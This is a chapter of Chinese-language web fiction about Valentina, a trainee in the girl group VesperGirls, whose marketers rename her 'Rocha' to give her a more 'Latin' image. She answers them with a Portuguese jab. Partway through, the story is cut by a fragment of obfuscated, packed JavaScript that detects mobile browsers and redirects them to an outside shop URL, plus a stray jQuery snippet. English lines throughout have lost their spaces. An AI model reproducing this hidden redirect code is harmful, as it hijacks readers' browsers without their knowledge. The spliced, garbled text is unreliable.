瓦伦蒂娜第三次回到那间练习室时，有了自己的水杯，自己的歌词夹，和Denise专门贴在镜子右下角的一张便签。
`Lookatmyshoulder.Notyourself.`
看我的肩。别看你自己。
瓦伦蒂娜第一次看见那张便签时，抬头问：“这算欢迎礼物，还是死亡威胁？”
Denise正在压腿，头也不抬。
“学习材料。”
“你对教育事业真冷酷。”
Jade在旁边笑得差点把唇蜜涂歪。Summer站在镜子前练第一句主唱，听见这句，也从镜子里看了她一眼。Lacey坐在音箱边翻歌词纸，冷淡地说：“如果你们两个能把调情的精力拿去练舞，我们也许能提前二十分钟结束。”
“这不是调情。”瓦伦蒂娜立刻说，“这是师生关系。”
Denise终于抬眼：“你再慢半拍，我会让它变成殡葬关系。”
瓦伦蒂娜认真点头：“所以我今天提前热身了。”
她是真的提前来了。
合约被父母和律师改过一轮后，她重新回到这里。开发协议还不是出道合同，VesperGirls也还不是正式属于她的名字，可她已经知道，这条路比无止境的试镜走廊更像一条路。
至少在这里，她知道别人为什么要她。
不是因为她像所有妈妈都能投射的女儿。
不是因为她可以临时填一个校园节目空位。
而是因为她在进副歌的时候站到c位时，镜头会诚实地表现出喜爱。
这不一定是最正统、最安全的一条路。
但那样的道路本来也不属于她。
至少这条女团路很清楚地展示了他们要什么，又能给她什么。
瓦伦蒂娜从小就更喜欢清楚的东西。
那天下午，她们练了两个小时走位。副歌段Summer仍然唱第一句，瓦伦蒂娜接第二句，第三句五个人合。Denise把她从过分好看的上半身里拉回队形，Jade负责在她忘拿水时把水递过来，Lacey在排练结束后评价：“很好，没有昨天那么像车祸。”
瓦伦蒂娜喘着气说：“Thankyou,yourMajesty.我正在考虑把您来之不易的夸奖刻在我的墓碑上。”
Lacey翻了个白眼。
练习快结束时，制作人推门进来。
“Girls，十分钟后去小会议室。我们要聊positioning。”
定位。
这个词落下来，瓦伦蒂娜从镜子里看见Denise的表情变了一下。
不是紧张。
更像习惯性厌烦。
Summer把歌词纸合上。
Jade小声问：“又要改衣服吗？”
Lacey说：“如果他们再说一次‘girlpowerbutcute’，我会从窗户跳出去。”
瓦伦蒂娜看向她：“这里是一楼。”
“我知道。”Lacey冷冷说，“这就是我的反抗方式。”
几个人都笑了。
瓦伦蒂娜也笑。
她当时还不知道，这个所谓定位会议，是比跟准八拍难得多的拉锯战。
会议开在一间小办公室里。
桌上有瓶装水、冷掉的咖啡、几盒彩色马克笔，还有一叠印着VesperGirls临时logo的资料。制作人、音乐总监、市场部门、造型负责人都在。未成年成员的父母们也在，她看到母亲把合同夹放在膝盖上，背挺得很直。
制作人先夸了她。
说她加入之后，testfootage效果很好。
说副歌画面变得更有记忆点。
说她和几个女孩之间有化学反应。
瓦伦蒂娜听得很认真，还会点头。
被夸时她不装冷淡。
她喜欢被夸。
她只是也知道，夸奖后面通常跟着价格。
果然，市场负责人翻开一页资料。
“我们想聊一下你的positioning。”
定位。
瓦伦蒂娜把水瓶拧开。
“听起来我像一瓶要上架的饮料。”
市场负责人愣了一下。
制作人笑了：“某种意义上，是。”
瓦伦蒂娜也笑：“那请把我放冰柜上层。弯腰拿东西不如踮起脚尖适合展示我的腰线。”
房间里笑了一阵。
母亲看她一眼，像在提醒她别太得意。
她乖乖坐直。
市场负责人把一张打印纸推过来。
上面是两个名字。
Rocca.
Rocha.
“Roccaisfine,”他说，“butRochafeelsmoredistinctive.”
Rocca也可以，但Rocha感觉更特别。
瓦伦蒂娜看着那行字。
“Distinctivehow?”
怎么特别？
市场负责人明显准备过答案。
“Sharper.Warmer.Morememorable.AlittlemoreLatin.”
更锋利。更温暖。更容易记住。也更有一点拉丁感。
他说得很体面。
体面到瓦伦蒂娜几乎想鼓掌。
瓦伦蒂娜看着那张纸。
她没有立刻说话。
如果他们把Rocca拼错成Rocha，她可以直接纠正。
如果他们给她编一个完全不存在的名字，她可以直接拒绝。
可偏偏不是。
Rocha是母亲的姓，他们大约在母亲的中间名中发现了它。
是家里厨房里葡语电话那一端的姓，是母亲年轻时从巴西带来的姓。
它当然也是她。
但它不是他们说的那种她。
瓦伦蒂娜抬眼。
“你们不是觉得Rocca难读。”
市场负责人停了一下。
她笑了笑，声音还是甜的。
“Rocca很好读。两个音节。很适合放在电影海报上。”
她指尖点了点纸上被圈出来的Rocha。
“你们是觉得这个更好卖。”
房间里安静了一秒。
制作人没有否认。
“Teenmarket需要一个更强的记忆点。”他说，“Rocha有声音，有颜色，也有态度。”
瓦伦蒂娜看着他。
“它是我妈妈的姓。”
“我们知道。”市场负责人说，“这也是它真实的地方。”
这句话很漂亮。
瓦伦蒂娜很难看不到母亲的手指在合同夹上轻轻收紧了一下。
瓦伦蒂娜低头看那张纸。
Rocca是父亲会在晚餐桌上纠正三遍的姓，两个c，一个都不能少。
Rocha不一样。
多出来的h像一枚被别在她身上的宝石臂环。它让这个名字看起来更热、更亮、更性感，更容易被贴在唇蜜、腰带、海报和青少年杂志折页上。
市场负责人说：“Itcanbeyourstagename.”
它可以成为你的艺名。
父亲的表情动了一下。
母亲没有说话。
制作人接得很快：“不会改变你的法律姓名。只是舞台名，更适合组合。”
瓦伦蒂娜抬眼：“更适合组合，还是更适合你们卖？”
房间里静了一瞬。
她问得太直接。
可她语气很甜，脸上还带着笑，像是真的好奇，不像在发难。
制作人看了她几秒，没有恼怒，笑了。
“Both.”
两者都是。
瓦伦蒂娜也笑。
“我喜欢诚实。”
市场负责人松了一口气，继续往下翻。
制作人继续说：“既然用Rocha，我们希望她的部分可以有一点Spanishflavor。”
瓦伦蒂娜抬起头。
“I’mBrazilian.”
我是巴西裔。
“Great.Evenbetter.”
太好了，这更好。
“BrazilspeaksPortuguese.”
巴西说葡语。
市场负责人笑得很职业。
“Theaudiencewon’tknowthedifference.”
观众不会知道区别。
这一次，母亲没有看合同。
她看的是瓦伦蒂娜。
瓦伦蒂娜也看了她一眼。
那一秒，她很想把那张打印纸推回去。
但Rocha不是她一个人的名字。
她不能让他们把母亲的姓拿走，做成一小撮漂亮的调味料。
可她也不能假装这不是机会。
机会就放在桌上，旁边还有冷掉的咖啡和彩色马克笔，俗气得很，但也是真的。
她重新转向制作人，笑得很甜。
“DoyouwantsomePortuguese?”
制作人立刻点头：“Perfect.”
于是她说：
“Vocên?osabeadiferenca.”
你根本不知道区别。
制作人听不懂，眼睛却亮了。
“太棒了！这句话可以加到你们的出道单曲里！”
瓦伦蒂娜笑了。
她笑得非常漂亮。
母亲在桌下轻轻碰了一下她的鞋尖。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664178|206099||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>瓦伦蒂娜没有低头。
她只是把那张印着Rocca和Rocha的纸往自己这边拉近了一点。
会议结束后，几个女孩挤在走廊里等她。
Jade第一个冲过来：“你刚才说的是什么？”
瓦伦蒂娜把文件夹抱在胸前。
“一句非常适合青少年市场的祝福。”
Lacey冷冷说：“你骂了他。”
瓦伦蒂娜转头：“你怎么知道？”
“你的笑容太甜了。”Lacey说，“甜得像有人要倒霉了。”
Summer忍着笑：“到底什么意思？”
瓦伦蒂娜看了一眼身后的会议室门。
然后她压低声音，郑重地说：
“我说，他的市场判断非常有前途。”
Denise靠在墙边，面无表情地补充：“她说你们都应该学习葡语。”
Jade笑得蹲下去。
Summer也笑。
Lacey终于把手里的歌词纸卷起来，轻轻敲了一下瓦伦蒂娜的肩。
“你会给我们惹麻烦的。”
瓦伦蒂娜揉了揉肩，一脸无辜。
“我没有惹麻烦。我只是提供了文化咨询。”
Denise说：“免费的？”
瓦伦蒂娜立刻严肃：“当然不是。我要副歌第二句的版税。”
这一次，连路过的Marcy都笑了。
瓦伦蒂娜看着她们笑，心里某个一直绷紧的地方松了一点。
她们没有因为她的空降而推开她。
也没有因为公司想把她包装成“Latinedge”就把她当成麻烦。
她们站在走廊里，一起笑那个房间里的荒唐。
那一刻，她觉得自己不是一个人被放上货架。
至少不完全是。
几天后，新的内部资料发下来。
五个女孩的名字被排成一行。
Summer.
Denise.
Jade.
Lacey.
Rocha.
Rocca消失了。
Rocha留下了。
瓦伦蒂娜坐在练习室地板上，看着那张纸。
Jade问：“你讨厌它吗？”
瓦伦蒂娜没有立刻回答。
她确实不喜欢别人改她的姓。
也不喜欢那个h像一枚被别在她身上的标签。
可她也不能否认，这个名字在纸上很亮。
它像一声声从舞台的四面八方冲上来的尖叫。
Rocha.
Rocha.
Rocha.
她忽然说：“我在决定它值多少。”
Jade没听懂：“什么？”
Denise坐在旁边拉伸，抬眼看她。
瓦伦蒂娜用笔在Rocha旁边画了一颗小星星。
“如果他们要这么叫我，”她说，“那这个名字最好很贵。”
Summer走进来，正好听见。
“你现在很像一个坏女孩。”
瓦伦蒂娜抬头，笑得阳光灿烂。
“不。”她说，“坏女孩免费惹麻烦。”
她把那张纸折起来，塞进包里。
“我收费。”
Denise看了她两秒。
“那明天别慢半拍。”
瓦伦蒂娜立刻站起来。
“老师，我今天是付费学生吗？”
Denise冷酷地打开音响。
“不，你是欠费学生。”
音乐响起来。
Summer唱第一句。
瓦伦蒂娜接第二句。
这一次，她没有抢。
她看着Denise的肩膀，在该进的地方进，在该收的地方收。第二句出来时，她甚至把笑压晚了一点。
Lacey在钢琴旁抬了下眼，没说话。
瓦伦蒂娜知道这算夸奖。
副歌结束，Denise关掉音响。
“明天继续。”
“老师，”瓦伦蒂娜拎起包，“欠费学生可以申请奖学金吗？”
“可以。”
瓦伦蒂娜眼睛一亮。
Denise说：“奖学金内容是多练一小时。”
Jade笑倒在Summer肩上。
瓦伦蒂娜也笑。她伸手拿水，指尖碰到包里那张折好的纸。
Rocha.
她在心里把那句葡语又念了一遍。
`Vocên?osabeadiferenca.`
你根本不知道区别。
然后她喝完水，拧上瓶盖，重新站回胶带后面。
“再来一遍？”她问。
Denise看着她。
“再来。”